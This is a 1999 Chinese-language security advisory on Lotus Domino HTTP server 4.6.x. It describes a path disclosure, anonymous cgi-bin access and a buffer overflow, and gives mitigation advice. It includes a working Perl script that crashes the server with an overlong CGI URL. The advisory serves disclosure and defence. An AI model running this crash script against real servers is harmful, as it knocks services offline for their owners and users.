首页 -> 安全研究

安全研究

安全漏洞
Lotus Domino HTTP server 漏洞

发布日期:1999-12-23
更新日期:1999-12-23

受影响系统:
Lotus Domino HTTP server v4.6.4,4.6.5,4.6.6 4.6.6b.
描述:
Lotus Domino HTTP server也可以用来做使用静态html文档和执行cgi脚本的普通Web服务器。
这些功能缺省是打开的,并且将<NOTESDATA>\domino\cgi-bin映射为/cgi-bin。

它在处理cgi请求的时候存在三个安全漏洞:


1. 泄露本地文件系统的配置信息

    当发送一个不存在的cgi请求时,例如:http://server/cgi-bin/blabla, HTTP的回答是:

   Error 500
   Bad script request -- no variation of 'c:/notes/data/domino/cgi-bin/blabla' is
   executable

   这可以用来获取操作系统以及HTTP server安装的信息

2. 关闭对Notes Name与Address Book的服务器文档的匿名访问,并不影响cgi-bin目录:仍然
   允许匿名访问。同样即使打开"SSL redirection of entire  server"功能,仍然可以通过
   HTTP端口访问cgi-bin.

3. 长CGI文件名导致缓冲区溢出。

    当发送一个很长的cgi URL时,HTTP server会产生一个缓冲区溢出。HTTP服务将立刻崩溃,
    不再响应任何的HTTP请求。如果Domino作为一个NT服务被执行,它不会完全停止,但你需
    要杀掉内存中的相应进程(用Reskit中的kill.exe)或者重新启动Windows NT.
    
    这些非法请求不会使服务器当掉,但发送'GET /cgi-bin/... (800 .) aaaa (4000 a) HTTP
    /1.0' 会杀掉nHTTP.exe。

    
    拒绝服务的问题尚未在Unix版本中验证。但第一个和第二个漏洞在Unix版本中应该也存在。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl -w
# This will crash Lotus Domino Server (tested on 4.6.4,4.6.5,4.6.6 and
# 4.6.6b).
# (c) Alain Thivillon, Stephane Aubert and Herve Schauer Consultants 1999

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("a");

$target='Insertyourtargetnamehere';

$url="http://".$target."/cgi-bin/".'.'x800;
$url.='a'x4000;
my $req = new HTTP::Request GET => $url;

my $res = $ua->request($req);

if ($res->is_success) {
  print $res->content;
}
else {
  print "Well done, Joe\n";
}



建议:
如果你的Domino server不需要cgi-bin,那就将cgi-bin目录改变到一个很难猜测的目录名。
目前尚未有明确的方法来停止对cgi-bin的操作。

浏览次数:8301
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障